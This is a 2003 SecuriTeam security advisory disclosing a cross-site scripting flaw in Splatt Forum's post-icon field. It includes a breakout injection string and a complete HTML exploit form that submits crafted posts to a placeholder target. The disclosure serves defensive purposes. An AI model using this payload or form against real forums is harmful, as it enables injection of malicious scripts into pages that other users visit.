[UNIX] Splatt Forum XSS Vulnerability in icon Posting

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/03

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    To: list@securiteam.com
Date: 21 Jul 2003 19:24:50 +0200

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      Splatt Forum XSS Vulnerability in icon Posting
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.splatt.it/> Splatt Forum is a forum engine for PHPNuke
    powered websites. A Cross-Site Scripting vulnerability has been found in
    the product allowing attackers to insert malicious HTML and JavaScript
    code into existing web pages.

    DETAILS

    Any user can inject malicious HTML or JavaScript code whenever he creates
    a new post. This is because icon images are not filtered for malicious
    content.

    Instead of using the default icon HTML code, you can create a personalized
    version such as: icon.gif"><script>alert('bug');<script><anytag="

    This will result in the following code being added to the posted data:
    <img src="icon.gif"><script>alert('bug');<script><anytag="" etc.>

    Exploit code:
    < html>
    < body>
    < script>
    <!-- Modify here -->
    var
    address='http://TargetURL/gate.html?mop=modload&name=Forums&file=newtopic';
    </script>

    <!-- Exploit form -->
    < script>
    document.write("<form action="+address+" method='post' name='coolsus'>");
    </script>
    Numero forum: < input type=text name=forum value=1 size=3><br>
    Username: < input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25"
    MAXLENGTH="40"><br>
    Password: < input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25"
    MAXLENGTH="25"><br>
    Soggetto: < input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75"
    MAXLENGTH="75"><br>
    Messaggio:<br><textarea name="message" rows="10" cols="75"
    wrap="VIRTUAL"></textarea><br>
    < input type=hidden name=bbcode value=0>
    < input type=hidden name=smile value=0>
    < input type=hidden name=notify value=0>
    <b>Inject code:</b> <input type=text name=image_subject
    value='icon1.gif">HTML CODE<!-- "' size=100><br>
    < input type="submit" name="submit" value=Invia class="Button">
    </form>
    </body>
    </html>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:blangels@libero.it>
    BlackAngels.

    ========================================

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